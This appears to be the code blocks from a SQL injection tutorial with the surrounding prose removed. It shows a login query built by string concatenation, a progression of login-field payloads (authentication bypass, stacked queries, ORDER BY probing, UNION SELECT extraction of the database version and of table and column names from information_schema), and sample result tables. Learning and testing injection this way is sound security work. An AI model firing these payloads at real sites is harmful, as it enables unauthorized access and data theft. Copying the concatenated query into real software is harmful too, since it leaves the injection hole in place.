username: ' OR 1 -- -
password: <empty>

username: ' OR 1;SELECT @@VERSION -- -
username: ' OR 1;SELECT user_name -- -

sql = "select id, username from users'
      + ' where username='" + username + "' and password='" + password +"'";

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+

+----+----------+
| id | username |
+----+----------+
+----+----------+

select id, username from users where username='' OR 1 --

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+

username: ' OR 1 ORDER BY 1 -- -

username: ' OR 1 UNION SELECT 1,2 -- -

+----+----------+         +----+----------+
| 42 | jdoe     |  UNION  | 1  | 2        |
+----+----------+         +----+----------+

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+
| 1  | 2        |
+----+----------+

+----+----------+
| id | username |
+----+----------+
| 1  | 2        |
+----+----------+

username: ' AND 0 UNION SELECT 1,2 -- -

username: ' AND 0 UNION SELECT 1,@@VERSION -- -

username: ' AND 0 UNION SELECT 1,GROUP_CONCAT(table_name,0x2e,column_name) FROM information_schema.columns WHERE table_schema=database()